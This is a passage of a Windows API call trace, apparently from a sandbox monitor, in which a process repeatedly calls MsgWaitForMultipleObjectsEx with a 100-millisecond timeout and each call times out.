[0173.981] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0174.106] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0174.236] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0174.356] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0174.481] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0174.606] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0174.730] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0174.855] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0174.983] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0175.110] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0175.229] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0175.354] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0175.479] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0175.604] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0175.822] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0176.821] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0176.945] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0177.070] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0177.195] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0177.320] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0177.445] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0177.569] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0177.694] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0177.819] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0177.944] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0178.069] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0178.194] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0178.318] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0178.443] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0178.568] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0178.694] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0178.818] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0178.942] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0179.067] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0179.192] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0179.317] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0179.444] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0179.566] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0179.691] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0179.816] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0179.941] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0180.065] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0180.191] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0180.315] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0180.440] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0180.565] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0180.706] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0180.830] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0180.955] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0181.079] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0181.205] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0181.329] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0181.454] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0181.579] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0181.704] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0181.828] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0181.953] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0182.079] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0182.203] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0182.333] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0182.492] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0182.608] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0182.733] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0182.858] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0183.001] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0183.123] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0183.248] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0183.373] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0183.497] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0183.669] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0184.215] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0184.340] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0184.465] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0184.589] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0184.714] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0184.839] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0184.964] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0185.089] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0185.213] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0185.338] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0185.463] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0185.588] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0185.713] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0185.837] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0185.962] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0186.087] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0186.212] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0186.337] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0186.476] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0186.586] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0186.711] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0186.836] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0186.961] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0187.086] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0187.217] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0187.335] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0187.460] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0187.714] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0187.835] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0187.960] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0188.089] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0188.210] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0188.339] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0188.459] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0188.584] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0188.712] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0188.833] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0188.963] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0189.083] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0189.348] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0189.472] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0189.644] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0189.775] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0189.894] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0190.019] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0190.261] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0190.393] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0190.523] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0190.643] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0190.802] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0190.923] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0191.048] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0191.173] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0191.734] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0191.859] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0191.984] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0192.109] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0192.234] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0192.359] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0192.483] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0192.608] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0192.733] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0192.858] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0192.982] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0193.107] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0193.232] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0193.357] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0193.482] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0193.606] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0193.731] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0193.856] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0193.981] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0194.106] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0194.230] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0194.356] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0194.495] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0194.621] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0194.745] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0194.870] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0194.995] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0195.120] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0195.250] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0195.369] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0195.513] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0195.634] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0195.759] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0195.884] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0196.009] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0196.134] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0196.258] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0196.383] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0196.508] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0196.633] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0196.758] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0196.882] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0197.007] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0197.133] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0197.257] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0197.382] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0197.506] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0197.631] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0197.756] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0197.881] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0198.006] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0198.130] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0198.255] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0198.380] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0198.506] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0198.630] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0198.762] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
